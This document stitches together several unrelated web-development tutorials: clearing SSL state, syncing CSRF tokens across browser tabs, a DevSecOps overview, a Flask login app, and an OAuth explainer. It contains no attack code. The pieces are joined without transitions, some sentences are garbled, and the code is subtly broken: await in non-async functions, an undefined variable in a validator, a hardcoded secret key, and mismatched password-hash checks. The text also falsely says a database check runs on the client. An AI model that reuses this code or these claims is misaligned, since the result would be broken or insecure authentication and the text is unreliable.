Clear Saved SSLs on your Computer

Clearing the SSL certificates stored by your computer can fix the issue for you.

When next you visit that website with the SSL error, your browser will run another check to revalidate the SSL installed on that website.

To clear the SSLs, hit the Windows button on your keyboard, search for “Internet Options” and click the Internet Options search result:

Switch to the content tab and click “Clear SSL state”:

Clear your Browser’s Cache and Cookies

The SSL info of a website in your browser’s cache and cookies might have expired, so if you clear both records, it could fix the issue for you.

To clear Chrome’s cache and cookies, click the 3 vertical dots on the top-right corner and select Settings:

Switch to the Privacy and Security tab on the left sidebar and select “Clear browsing data”:

Select Cache and Cookies, then click “Clear data”:

If you’re using another browser that is not Chrome, clear the browser’s cache and cookies.

Final Thoughts

As a web administrator or owner, it's very important to make sure SSL is installed and properly working on your website. Otherwise, it might not just affect your website alone, but also your business.

If you’re a user, too, make sure any website you’re visiting shows the padlock icon on the address bar. If that’s not the case, make sure you don’t share sensitive information like card details and passwords with the website.

Thank you for reading.

This is how I usually work – I have a lot of tabs open and this speeds things up, because I don't need to wait for the next page to load.

But after I'd created the first PR in BitBucket and tried to go on to the next page, I was welcomed with an error message about an invalid CSRF token. This is a common problem with web applications that have CSRF protection.

So in this article you'll learn what CSRF is and how to fix this error.

Table of contents:

• What is CSRF?
• Standard CSRF protection
• The Problem with Tokens
• Cross-tab Communication Solution
  • Sysend library
  • Broadcast Channel
• Conclusion

What is CSRF?

CSRF is an acronym for Cross-Site Request Forgery. It is a vector of attack that attackers commonly use to get into your system.

The way you usually protect against CSRF is to send a unique token generated by each HTTP request. If the token that is on the server doesn't match with the one from the request, you show an error to the user.

Standard CSRF protection

This is one way you can protect against CSRF with a token:

const inital_token = '...';

const secure_fetch = (token => {
    const CSRF_HEADER = 'X-CSRF-TOKEN';
    return (url) => {
        const response = await fetch(url, {
            method: 'POST',
            headers: {
              [CSRF_HEADER]: token
            }
        });
        response.then(res => {
           token = res.headers[CSRF_HEADER]
        });
        return response;
    };
})(inital_token);

This code uses the fetch API to send and receive a secure token in HTTP headers. On the backed, you should generate the first initial token when the page loads. On the server, on each AJAX request, you should check to see if the token is valid.

The Problem with Tokens

This works fine unless you have more than one tab open. Each tab can send requests to the server, which will break this solution. And power users may not be able to use your application the way they want.

But there is a simple solution to this problem which is cross-tab communication.

Cross-tab Communication Solution

Sysend library

You can use the Sysend library, an open source solution that I've created specifically for this purpose. It simplifies cross-tabs communication.

If you want, you can use a native browser API like Broadcast Channel to do the same. More on how to do that later in this article.

But the Sysend library will work for browsers that don't support Broadcast Channel. It also works in IE (it has some bugs, which is not a surprise). You may also need to support some old mobile browsers. It also has a much simpler API.

This is the simplest example:

let token;
sysend.on('token', new_token => {
    token = new_token;
});

// ...

sysend.broadcast('token', token);

And this is how you would use this library to fix CSRF protection:

const inital_token = '...';

const secure_fetch = (token => {
    const CSRF_HEADER = 'X-CSRF-TOKEN';
    const EVENT_NAME = 'csrf';
    sysend.on(EVENT_NAME, new_token => {
        // get new toke from different tab
        token = new_token;
    });
    return (url) => {
        const response = await fetch(url, {
            method: 'POST',
            headers: {
              [CSRF_HEADER]: token
            }
        });
        response.then(res => {
           token = res.headers[CSRF_HEADER];
           // send new toke to other tabs
           sysend.broadcast(EVENT_NAME, token); 
        });
        return response;
    };
})(inital_token);

All you have to do is to send and receive a single message from other tabs when sending the request. And your CSRF protected app will work on many tabs.

And that's it. This will let advanced users use your app that has CSRF protection when they want to open many tabs.

Broadcast Channel

Here is the simplest possible example of using Broadcast Channel:

const channel = new BroadcastChannel('my-connection');
channel.addEventListener('message', (e) => {
    console.log(e.data); // 'some message'
});
channel.postMessage('some message');

So with this simple API you can do the same thing that we did before:

const inital_token = '...';

const secure_fetch = (token => {
    const CSRF_HEADER = 'X-CSRF-TOKEN';
    const channel = new BroadcastChannel('csrf-protection');
    channel.addEventListener('message', (e) => {
        // get new toke from different tab
        token = e.data;
    });
    return (url) => {
        const response = await fetch(url, {
            method: 'POST',
            headers: {
              [CSRF_HEADER]: token
            }
        });
        response.then(res => {
           token = res.headers[CSRF_HEADER];
           // send new token to other tabs
           channel.postMessage(token);
        });
        return response;
    };
})(inital_token);

As you can see from the above example, Broadcast Channel doesn't have any namespace for events. So if you want to send more than one type of event you need to create types of events.

Here is an example of using Broadcast Channel to do more than the CSRF protection fix we've discussed so far.

You can synchronize login and logout for your application. If you login into one tab, your other tabs will also sign you in. In the same way, you can synchronize the shopping cart in some e-commerce websites.

const channel = new BroadcastChannel('my-connection');
const CSRF = 'app/csrf';
const LOGIN = 'app/login';
const LOGOUT = 'app/logout';
let token;
channel.addEventListener('message', (e) => {
    switch (e.data.type) {
        case CSRF:
            token = e.data.payload;
            break;
        case LOGIN:
            const { user } = e.data.payload;
            autologin(user);
            break;
        case LOGOUT:
            logout();
            break;
    }
});

channel.postMessage({type: 'login', payload: { user } });

Conclusion

It's great if you protect your app against attackers. But keep in mind how people will be using your application, too so you don't make it unnecessarily hard to use. This applies not only to this particular problem.

The Sysend library is a simple way to communicate between open tabs in the same browser. And it can fix major issues with CSRF protection. The library has more features, and you can check its GitHub repo for more details.

Broadcast Channel is also not that complicated. If you don't need to support old browsers or some older mobile devices, you can use this API. But if you need to support older browsers, or want to make your code simpler, you use can the sysend library.

If you want to see browser support for Broadcast Channel, you can see Can I Use.

In this article you all about DevSecOps and web security.

There is a video course that goes along with this article. The article focuses on the definitions and theory. The video course will also show you how to take advantage of common web vulnerabilities, how to fix those vulnerabilities, and how to use DevSecOps tools to make sure your applications are secure.

You can watch the video course below or on the freeCodeCamp.org YouTube channel.

Thanks to Snyk for providing a grant that made development of this tutorial and video course possible.

What Is DevSecOps?

DevSecOps refers to the integration of security practices into a DevOps software delivery model. In a DevSecOps model, security objectives are integrated as early as possible in the life cycle of software development and security considerations are important throughout the lifecycle.

To really understand DevSecOps, it can be helpful to first understand DevOps and also vulnerabilities.

Vulnerabilities

Let's start with vulnerabilities. The whole point of security is to protect against vulnerabilities so let's understand the different types and afterwards I'll discuss DevOps.

The average cost of a data breach in 2020 was $3.86 million and global cybercrime costs are expected to reach $6 trillion by the end of this year. It is estimated that 90% of web applications are vulnerable to hacking and 68% of those are vulnerable to the breach of sensitive data.

In 2020, there were over 1000 data breaches in the United State according to the Identity Theft Resource Center. Over 155.8 million individuals were affected by data exposures.

Vulnerability vs. Exploit vs. Threat

When thinking about security, it is important to understand the difference between a vulnerability, an exploit, and a threat.

A security vulnerability is a software code flaw or a system misconfiguration that hackers can use to gain unauthorized access to a system or network. Once inside, the attacker can leverage authorizations and privileges to compromise systems and assets.

An exploit is the method hackers use to exploit a vulnerability. An exploit is typically a piece custom software or a sequence of commands.

There are even exploit kits that can be embedded in compromised web pages where they continuously scan for vulnerabilities. As soon as a weakness is detected, the kit immediately attempts to deploy an exploit, such as injecting malware into the host system.

A threat is the actual or hypothetical event in which one or more exploits use a vulnerability to mount an attack.

Only a small amount of known vulnerabilities will be used to hack into a system. Vulnerabilities that pose the highest risk are those that have a higher chance of being exploited and therefore should be the ones that are prioritized.

Types of Security Vulnerabilities

Security vulnerabilities can be found in all different areas related to software. Here are some common security vulnerabilities in applications and websites.

There are two different important lists of weaknesses in web applications. The first list is created by the Open Web Application Security Project (OWASP). They have a popular list called the OWASP Top 10 that features the most commonly exploited vulnerabilities.

The second list is CWE, or Common Weakness Enumeration, which is a “community-developed list of common software and hardware weakness types that have security ramifications.” This list is run by the MITRE Corporation, a not-for-profit company that operates federal government funded R&D centers. They create the CWE-25 which is their list of the 25 most dangerous software weaknesses.

In the CWE-25, there are 3 major types of application and website security weaknesses:

1. Porous defenses
2. Risky resource management
3. Insecure interaction between components

1. Porous Defenses

A porous defenses weakness is one that could allow users to bypass or spoof authentication and authorization processes. Authentication verifies the identity of someone trying to access a system while authorization is the set of access and usage permissions assigned to the user.

Porous defense weakness examples include:

• Weak password encoding
• Insufficiently protected credentials
• Missing or single-factor authentication
• Insecurely inherited permissions
• Sessions that don’t expire in a timely manner

All of these porous defense vulnerability types can allow hackers to successfully access sensitive resources.

Exploits that leverage these vulnerabilities may include:

• Credential stuffing attacks
• Hijacking of session IDs
• Stealing login credentials
• Man-in-the-middle attacks

2. Risky Resource Management

Another vulnerability category is risky management of resources such as memory, functions, and open-source frameworks.

These vulnerabilities include:

• Out-of-bounds write or read (aka buffer overflow): The application can be tricked into writing or reading data past the end or before the beginning of the intended memory buffer.
• Path traversal: Allows attackers to get to pathnames that let them access files outside of restricted directories. I'll be showing an example of this later.

Exploiting these vulnerabilities allow hackers to gain control over an application, damage files, or access sensitive information.

3. Insecure Interaction Between Components

Many applications today send and receive data across a wide range of services, threads, and processes. The way different components intact with each other can introduce vulnerabilities.

Weaknesses that expose a web application or website in this manner include:

• Cross-site scripting or XSS: When user inputs are not handled securely, it opens up the possibility for XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. This is a very common vulnerability.
• Cross-site request forgery (CSRF): Improper verification of whether a seemingly legitimate and authentic request was intentionally sent. These attacks are often mounted via social engineering vectors such as bogus emails that trick a user to click a link, which then sends a forged request to a site or server where the user has already been authenticated.

If apps and websites don't properly implement security controls for interaction between components, this leaves them vulnerable to backdoor attacks, scripting attacks, worms, trojan horses and other exploits that deploy malicious code to wreak havoc on infrastructure, data, and systems.

Most Common Vulnerabilities

Between the OWASP-10 and CWE-25 lists, it is clear that Broken Access Control as the top vulnerability. 94% of applications have some some form of broken access control.

Access control makes sure that users cannot act outside of their intended permissions. If this is not set up properly it can lead to unauthorized information disclosure, modification, or even destruction of data.

DevOps

Now let's talk about DevOps, which is an important part of DevSecOps.

DevOps is a concept that has been talked about and written about for long time, and many definitions of DevOps have emerged.

DevOps is basically a set of practices that combines software development (Dev) and IT operations (Ops). It aims to shorten the systems development life cycle and provide continuous delivery with high software quality.

DevOps Pipeline

Most modern DevOps organizations will depend on some combination of continuous integration and continuous deployment/delivery systems, in the form of a CI/CD pipeline. As part of the lifecycle a variety of automated security testing and validation can be performed, without requiring the manual work of a human operator. And this is all part of the Software Development LifeCycle.

Here is an example of a common DevOps flow. First, a developer will write code and push it to a repo. At that point the CI/CD pipeline starts. There are automated tests, then a version is built eventually it deployed to production. There are tests at every step to assure code quality. In this model, security is sometimes only considered right before deploying to production.

DevSecOps follows a similar flow, but adds automated security considerations throughout the process. Security is integrated with the DevOps. DevSecOps codifies security objectives as part of the overall goal structure.

The shield represent all the places that we test for security. Different tools are used for different steps and I'll talk about some of the specific tools later.

DevSecOps should be thought of as the natural continuation of DevOps, rather than as a separate idea or concept.

Activities designed to identify and ideally solve security issues are injected early in the lifecycle of application development, rather than after a product is released. This is accomplished by enabling development teams to perform many of the security tasks independently within the software development lifecycle (SDLC).

To integrate security objectives early in the development of an application, start before the first line of code is ever written. Security can integrate and begin effective threat modeling during the initial concept of the system, application, or individual user story. Static analysis, linters, and policy engines can be run any time a developer checks in code, ensuring that any low-hanging fruit is dealt with before the changes move further upstream. Later I'll be showing you how to use a tool to check code for security issues while you are writing it.

Software composition analysis can be applied to confirm that any open-source dependencies have compatible licenses and are free of vulnerabilities. I'll be showing you how to use a tool to check software dependencies for security issues. It can be very helpful to get immediate feedback on the relative security of the code you've written and this helps individual developers take ownership of security issues.

Once code is checked in, Static Application Security Testing (or SAST) tools can be used to identify vulnerabilities and perform software composition analysis. SAST tools should be integrated into post-commit processes to ensure that new code introduced is proactively scanned for vulnerabilities. Having a SAST tool integration in place enables remediation of vulnerabilities earlier in the software development lifecycle, and it reduces application risk and exposure.

After the code builds, you can start to employ security integration tests. Running the code in an isolated container sandbox allows for automated testing of things like network calls, input validation, and authorization. These tests are often part of Dynamic Application Scanning Tools (or DAST). These tests generate fast feedback, enabling quick iteration and triage of any issues that are identified, causing minimal disruption to the overall stream. If things like unexplained network calls or unsanitized input occur, the tests fail, and the pipeline generates actionable feedback in the form of reporting and notifications to the relevant teams.

Next, things like correct logging and access controls can be tested. Does the application log relevant security and performance metrics correctly? Is access limited to the correct subset of individuals (or prevented entirely)?

Finally, the application makes its way to production. But security tests continue. Automated patching and configuration management ensure that the production environment is always running the latest and most secure versions of software dependencies.

Special techniques and tools can be used to secure containers. Later, you will learn how to do this in a real-world environment.

Utilizing a DevSecOps CI/CD pipeline helps integrate security objectives at each phase, allowing the rapid delivery to be maintained.

The entire approach helps minimize vulnerabilities that reach production, thereby reducing the cost associated with fixing security flaws. DevSecOps aims to build security into every stage of the delivery process, from the requirement stage onwards, and establish a plan for security automation.

Software Project Iceberg

When thinking about security you should remember that your code is just the tip of the iceberg.

In an average software project, only 10-20% of code is custom code. Yes, it is important to make sure your custom code is secure but there is a lot more to think about.

80-90% of many codebases consist of open source code, modules, and libraries. The frameworks and libraries that you import can themselves import more frameworks and libraries. This is code that you didn't actually write yourself.

_The nodemodules directory of a project is often massive.

On average, 80% of vulnerabilities are found in direct dependencies. It doesn't matter how good you are with writing secure code if you import vulnerable dependencies.

Then there are containers. These often consist of hundreds of Linux packages inherited from public sources. Again, code that you didn't actually write yourself.

And you can't forget about Infrastructure as Code. This opens up a bunch of new attack vectors for malicious actors. Misconfiguration is the number one cloud vulnerability.

DevSecOps properly implemented should cover all of these areas.

The Importance of DevSecOps

Why are DevSecOps practices important?

As companies get larger there is often more software, cloud technologies and DevOps methodologies.

More software means more of the organization’s risk becomes digital making it increasingly challenging to secure digital assets.

Cloud technologies means that many of the IT and infrastructure risks are moved to the cloud. This raises the importance of permission and access management since everything can be accessed from anywhere.

As you've seen DevSecOps brings security into DevOps, enabling development teams to secure what they build at their pace, while also creating greater collaboration between development and security practitioners. Security teams offer expertise and tooling to increase developer autonomy while still providing a level of oversight.

6 Benefits of the DevSecOps Model (compared to the traditional DevOps Model)

1. Faster delivery: The speed of software delivery is improved when security is integrated in the pipeline. Bugs are identified and fixed before deployment, allowing developers to focus on shipping features.
2. Improved security posture: Security is a feature from the design phase onwards. A shared responsibility model ensures security is tightly integrated—from building, deploying, to securing production workloads.
3. Reduced costs: Identifying vulnerabilities and bugs before deploying results in an exponential reduction in risk and operational cost.
4. Enhancing the value of DevOps: Improving overall security posture as a culture of shared responsibility is created by the integration of security practices into DevOps.
5. Improving security integration and pace: Cost and time of secure software delivery is reduced through eliminating the need to retrofit security controls post development.
6. Enabling greater overall business success: Greater trust in the security of developed software and embracing new technologies enables enhanced revenue growth and expanded business offerings.

Conclusion

There are a bunch of tools that can help secure your apps and many of them are free. Learn more about how to use them in the video that goes along with this article.

When you're developing applications for the general public, it's important to protect your users' credentials and information. This means you need to know about code structure and how to implement various security measures.

In this article, we'll walk through the steps to create a user authentication web app with Flask, a micro web framework. For authentication, we'll use the Python library flask_login.

This app includes features such as form validations, account creation, and login/logout functionality for authenticated users.

Application Setup and Installation

You can find a comprehensive guide on setting up and installing the project on my GitHub repository.

Basic Application Structure

For this application, we'll have a virtual environment in its own directory, as well as a folder containing the main application files. Here's an overview of the app's structure:

.
├── auth-app
│ ├── app.py
│ ├── database.db
│ ├── forms.py
│ ├── manage.py
│ ├── migrations
│ ├── models.py
│ ├── requirements.txt
│ ├── routes.py
│ ├── run
│ ├── static
│ └── templates
│ ├── auth.html
│ ├── base.html
│ └── index.html
└── venv

Application Factory

To kick it off, we'll create an application factory function inside the app.py file and call it create_app. This is vital for any Flask app.

Also, we need to make some libraries available for use within our project, so we'll import the following:

app.py

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_bcrypt import Bcrypt
from flask_migrate import Migrate

from flask_login import (
    UserMixin,
    login_user,
    LoginManager,
    current_user,
    logout_user,
    login_required,
)

We imported Flask, SQLAlchemy to help our Python application communicate with a database, Bcrypt for password hashing, Migrate for database migrations, and several other methods from Flask-Login for session management.

login_manager = LoginManager()
login_manager.session_protection = "strong"
login_manager.login_view = "login"
login_manager.login_message_category = "info"

To use flask_login, we'll create an instance as shown above. We'll do the same for SQLAlchemy, Migrate, and Bcrypt.

db = SQLAlchemy()
migrate = Migrate()
bcrypt = Bcrypt()

Instead of creating our Flask instance globally, we'll do so within a function because doing so globally becomes difficult as the project grows.

The benefit of doing this within a function is that it allows for multiple application instances (also during testing). (Source: flask.palletsprojects.com)

def create_app():
    app = Flask(__name__)

    app.secret_key = 'secret-key'
    app.config['SQLALCHEMY_DATABASE_URI'] = "sqlite:///database.db"
    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True

    login_manager.init_app(app)
    db.init_app(app)
    migrate.init_app(app, db)
    bcrypt.init_app(app)

    return app

Flask-Login also requires that we set a secret key in order to function. Also, you'll notice that we have our initializations inside the application factory. We do this to avoid the extensions initially binding themselves to the application, as explained here.

Now that we've completed our basic application factory, it's time to declare our User model. In the user table, we only need email, username, and password columns for this application.

models.py

from app import db
from flask_login import UserMixin

class User(UserMixin, db.Model):
    __tablename__ = "user"

    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    pwd = db.Column(db.String(300), nullable=False, unique=True)

    def __repr__(self):
        return '<User %r>' % self.username

We import db, an instance of SQLAlchemy, and a UserMixin subclass from Flask-Login in the above code snippet. Our work is simplified by using the UserMixin, which allows us to use methods such as is_authenticated(), is_active(), is_anonymous(), and get_id ().

If we don't include the UserMixin in our User model, we'll get errors like 'User' object has no attribute 'is_active'.

We currently have a User model, but we haven't yet created the table. To do this, run python manage.py on your terminal inside your project directory—assuming you got the setup right, installed the packages in the requirements.txt file, and have an active virtual environment.

manage.py

def deploy():
    """Run deployment tasks."""
    from app import create_app,db
    from flask_migrate import upgrade,migrate,init,stamp
    from models import User

    app = create_app()
    app.app_context().push()
    db.create_all()

    # migrate database to latest revision
    init()
    stamp()
    migrate()
    upgrade()

deploy()

The deploy function imports the create_app function from the app.py file, Flask-Migrate migration methods, and the User model. We then ensure that we are working within an application context, from which we can now call db.create all(), which will take care of our table creation.

We still need to set up the login and registration forms. First, we need to prepare the two Flask forms before rendering them on the template. The configuration for the forms is shown below. To keep this article neat and precise, I'll omit the import lines. For the excluded import lines, see the GitHub repository.

forms.py

a). Registration form

class register_form(FlaskForm):
    username = StringField(
        validators=[
            InputRequired(),
            Length(3, 20, message="Please provide a valid name"),
            Regexp(
                "^[A-Za-z][A-Za-z0-9_.]*$",
                0,
                "Usernames must have only letters, " "numbers, dots or underscores",
            ),
        ]
    )
    email = StringField(validators=[InputRequired(), Email(), Length(1, 64)])
    pwd = PasswordField(validators=[InputRequired(), Length(8, 72)])
    cpwd = PasswordField(
        validators=[
            InputRequired(),
            Length(8, 72),
            EqualTo("pwd", message="Passwords must match !"),
        ]
    )

In the above code snippet, we're simply applying validations to the required fields imported from wtforms and assigning them to the form field variable names.

    def validate_email(self, email):
        if User.query.filter_by(email=email.data).first():
            raise ValidationError("Email already registered!")

    def validate_uname(self, uname):
        if User.query.filter_by(username=username.data).first():
            raise ValidationError("Username already taken!")

To speed up the validation process, we need to reduce the load and time required for server-side validation. To accomplish this, we add the above lines of code—email and username validation to our registration form class so that it is handled on the client side.

b). Login form

class login_form(FlaskForm):
    email = StringField(validators=[InputRequired(), Email(), Length(1, 64)])
    pwd = PasswordField(validators=[InputRequired(), Length(min=8, max=72)])
    # Placeholder labels to enable form rendering
    username = StringField(
        validators=[Optional()]
    )

To make the form fields visible on the template, we must pass the form object to it via the route rendering that template. Now it's time to define our application's various routes. I'll also leave out the import lines for this section.

routes.py

It is important to provide a user loader callback when using Flask-Login. This keeps the current user object loaded in that current session based on the stored id.

@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))

In the lines of code that follow, we simply define three routes for this application: home, login, and register. Notice how we create Flask form instances and then pass them along with the function return statement? We'll modify these routes later to handle our login and registration needs. We'll also add a logout route.

app = create_app()

# Home route
@app.route("/", methods=("GET", "POST"), strict_slashes=False)
def index():
    return render_template("index.html",title="Home")

# Login route
@app.route("/login/", methods=("GET", "POST"), strict_slashes=False)
def login():
    form = login_form()

    return render_template("auth.html",form=form)

# Register route
@app.route("/register/", methods=("GET", "POST"), strict_slashes=False)
def register():
    form = register_form()

    return render_template("auth.html",form=form)

if __name__ == "__main__":
    app.run(debug=True)

It's time to write some HTML code. At this point, all we need is forms in the browser. NB: I'll still leave out some lines of code to keep this article concise. The complete files are available on GitHub, but for the time being, let's concentrate on the main areas of interest.

auth.html

<form action="{{ request.path }}" method="POST" class="...">

{{ form.csrf_token }}

{% with messages = get_flashed_messages(with_categories=true) %}
<!-- Categories: success (green), info (blue), warning (yellow), danger (red) -->
{% if messages %}
{% for category, message in messages %}
<div class="alert alert-{{category}} alert-dismissible fade show" role="alert">
{{ message }}
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
{% endfor %}
{% endif %}
{% endwith %}

{% if request.path == '/register/' %}
{{ form.username(class_="form-control",placeholder="Username")}}

{% for error in form.username.errors %}
{{ error }}
{% endfor%}

{% endif%}

{{ form.email(class_="form-control",placeholder="Email")}}

{% for error in form.email.errors %}
{{ error }}
{% endfor%}

{{ form.pwd(class_="form-control",placeholder="Password")}}

{% for error in form.pwd.errors %}
{{ error }}
{% endfor%}

{% if request.path == '/register/' %}
{{ form.cpwd(class_="form-control",placeholder="Confirm Password")}}

{% for error in form.cpwd.errors %}
{{ error }}
{% endfor%}

{% endif%}

<button type="submit" class="btn btn-block btn-primary mb-3">
{{ btn_action }}
</button>

<p>
{% if request.path != '/register/' %}
New here?
<a href="{{url_for('register')}}">Create account</a>
{% else %}
Already have an account?
<a href="{{url_for('login')}}">Login</a>
{% endif %}
</p>

The HTML template shown above serves as both our login and registration form. And I just used a few jinja templating tricks.

As you can see above, the form action is set to action="{{request.path}}", where request.path retrieves the path from which the request originated and assigns it as the value for the form action. This eliminates the need to hard code the specific paths.

We also set a csrf token variable which allows the form validation to proceed while preventing session riding attacks.

It also handles flashed messages. Bootstrap 5 alerts make it simple to flash different messages based on their category. The following is an example of what that does.

We simply print out the individual variable names from the form object to display the form fields. Here's an example from the above snippet:

{{ form.username(class_="form-control",placeholder="Username")}}

Another thing to consider is the use of if...else statements, such as in the following line of code:

{% if request.path == '/register/' %}

By hiding some fields based on the request path, we can easily switch between the login and registration forms.

Remember the validation checks that we applied to the form fields? Also, we'd like to notify the user if they fail to provide the required input – so we'll include some code for this. An example from the HTML form above is shown below.

The lines of code below will display the appropriate message to the user if any of the checks against the username are violated.

{% for error in form.username.errors %}
{{ error }}
{% endfor%}

Here's an example of what that would look like:

How to modify routes.py

In Flask, adding new users to the database is simple. To complete today's tutorial, we need to register, login, and logout users — that is, manage sessions.

a). Registration route

First and foremost, taking a closer look at the code snippet below for registering new users, we confirm that the form sending the data has passed all validation checks. So, if form.validate_on_submit():

    ...

    if form.validate_on_submit():
        try:
            email = form.email.data
            pwd = form.pwd.data
            username = form.username.data

            newuser = User(
                username=username,
                email=email,
                pwd=bcrypt.generate_password_hash(pwd),
            )

            db.session.add(newuser)
            db.session.commit()
            flash(f"Account Succesfully created", "success")
            return redirect(url_for("login"))

        except Exception as e:
            flash(e, "danger")

      ...

If all of the checks pass, we get the values from the form fields, which are then passed to the User object, added to the database, and all of the changes are saved.

When the database is successfully updated with the new values, the user sees a success message. After that, the application redirects the user to the login page.

Any exceptions that may occur are caught and displayed to the user. This improves the user experience by displaying nicer alerts (and you can also modify the messages based on the exceptions).

It is not safe to store passwords in plain text because this increases the risk that user credentials will be compromised in the event of a breach.

The user password is hashed before being saved, and what is stored in the database is a highly encrypted combination of characters. We handled this with the help of Bcrypt. The hash is generated like this:

pwd=bcrypt.generate_password_hash(pwd)

b). Login route

    if form.validate_on_submit():
        try:
            user = User.query.filter_by(email=form.email.data).first()
            if check_password_hash(user.pwd, form.pwd.data):
                login_user(user)
                return redirect(url_for('index'))
            else:
                flash("Invalid Username or password!", "danger")
        except Exception as e:
            flash(e, "danger")

After passing validation, the User model is queried to see if a user exists with the email provided. If this fails it displays an error message. But if it's validated, the second move is to compare the password issued with the hashed version of it. And if both match, access is granted and the user is redirected to the home page.

c). Logout route

@app.route("/logout")
@login_required
def logout():
    logout_user()
    return redirect(url_for('login'))

The above route, which redirects to the login page, handles the termination of active sessions.

And that's it! We've built our application with user authentication.

Thank you for reading. I hope you found this article useful. Continue to read, build, and best wishes. Don't forget to follow me on Twitter as well @dev_elie.

There is, of course, a more complex process involved in setting up social login, but for a user it's as simple as clicking a button to log in.

The ease of not having to remember an ID/password and just being able to signup/login through the click of a button is extremely beneficial to the user.

What if I Told You This Was Way More Secure? 😉

Social logins really help us achieve a few things:

• Support for multiple devices
• Single Sign On
• Simple to implement
• The ability to share data for users without having to release personal information
• Ability revoke an active session i.e not allow a third party access to the login and data
• There are no long-lasting credentials being exchanged

So What Technology Drives Social Login? 🤔

The underlying protocol used is something called OAuth. It is defined as:

An open protocol to allow secure authorization in a simple and standard method from web, mobile, and desktop applications.

Now with a basic understanding of social login and the above definition you probably have some idea of how this works – but let me use a simple example to explain how to use OAuth.

I remember my friend Sumedh describing it as an interaction between a Mother, Father, and their Son. Imagine that the mother wants some groceries from the market and she wants the son to buy them for her.

Before I go into the conversation let me set some context.

Mother: The user of the application

Son: Third party client or in technical terms the OAuth Client

Father: The Social Account or in technical terms the OAuth Provider

The conversation could possibly go like this:

Mother: Hey son, go to the market and bring me some coffee powder. Take the required money from your father.

Son: Okay.

Son (OAuth client) goes to father (OAuth provider)

Son: Hey dad, mom told me to take money from you since she wants some things from the market.

Father (OAuth provider) asks mother (User) about the permission to give money to their son (OAuth client)

Father: Hey, shall I give him the money and how much?

Authorization of your application takes place here.

Mother: Yes, please give it to him.

Permission grant by mother (User)

Son (OAuth client) gets the required things from the market and returns them to mother (User). Here returning things to mother (User) can be thought of redirecting the user (or logging them) into the third party site.

For a more technical understanding of how this works in code, Richard Schneeman has this amazing video below:

Now Lets Put All of This in Context

Let's take as an example the DEV Community. If you wanted to create an account on the DEV Community using Twitter, what would happen?

Basically, if the "Sign up with Twitter" button exists, then the initial setup between the OAuth Client (Dev.to) and the OAuth Provider (Twitter) is already done.

The Client triggers a permission granting page for the OAuth Provider based on the credentials it receives from the initial setup. This looks something like below:

Once you login and grant permission, the OAuth Provider redirects you back to the client and the client gets a token to access your information from the OAuth Provider. This access token enables the client to get specific data from the provider

Based on that data the client then creates an account and logs you in

What Happens on Successive Login?

Thats a good question. Now OAuth has multiple grant types, and based on that we have different ways to get an access token from the OAuth Provider.

For all subsequent logins, the OAuth Client will hit the provider and generate a new access token to get access to the data and do the login.

Thus this enables us to achieve Single Sign On, the ability to share data for users without having to release personal information, the ability to revoke access, and the ability to not have long lasting credentials exchanged.

This all leads to a more secure experience.

Conclusion

I hope this short blog post helps you understand why social logins are more secure than the traditional username/password option. I will be writing about the different OAuth Grant types in the future and will be providing code examples as well.

Thanks for reading! I really hope that you find this article useful. I'm always interested to know your thoughts and happy to answer any questions you might have in your mind. If you think this post was useful, please share it to help promote this piece to others.

Thanks for reading! :)

P.S Do feel free to connect with me on LinkedIn or Twitter